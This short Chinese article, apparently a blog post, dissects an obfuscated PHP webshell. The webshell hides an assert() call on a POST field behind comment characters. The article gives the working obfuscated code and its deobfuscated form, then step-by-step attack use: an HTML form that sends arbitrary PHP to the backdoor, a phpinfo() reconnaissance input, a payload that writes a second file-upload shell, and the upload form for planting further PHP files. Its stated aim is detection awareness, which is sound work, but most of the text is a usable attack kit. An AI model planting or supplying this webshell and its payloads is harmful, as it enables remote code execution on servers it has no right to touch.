本文将介绍一个代码很简短,而且很隐蔽的后门木马,以便让大家在检测程序时可以避免被挂木马。
文件内容如下:
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
代码中插入了很多注释符,服务器的检测程序如果不严谨很难检测到。
把注释符删除后,代码如下:
<?php
@$_="s"."s"."e"."r";
@$_="a".$_."t";
@$_(${"_P"."OS"."T"}
[0-2-5]);
?>
最后实际执行的代码内容为:
<?php
assert(${"_POST"}[-7]);
?>
原来这个后门是利用了php assert方法来执行程序。
bool assert ( mixed $assertion [, string $description ] )
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
如果$assertion的内容为phpinfo(); 则会把服务器的信息返回,使攻击者能获取到服务器信息对此攻击。
上传了这个后门程序后,攻击者只需要创建一个简单的html就可以在服务器中执行php语句。
假设后门文件是backdoor.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title> back door </title>
</head>
<body>
<form name="form1" method="post" action="http://www.example.com/backdoor.php">
<p><textarea name="-7" style="width:500px; height:300px"></textarea></p>
<p><input type="submit" value="submit"></p>
</form>
</body>
</html>
攻击方式:
1.获取服务器信息可输入
phpinfo();
2.创建一个可随便上传文件的php可输入
file_put_contents('hack.php', '<?php move_uploaded_file($_FILES[\'name\'][\'tmp_name\'], dirname(__FILE__).\'/dest.php\');?>' ,true);
然后创建一个上传文件的html调用hack.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title> upload </title>
</head>
<body>
<form name="form1" method="post" action="http://www.example.com/hack.php" enctype="multipart/form-data">
<p><input type="file" name="name"></p>
<p><input type="submit" value="submit"></p>
</form>
</body>
</html>
之后便可随意上传php文件执行了。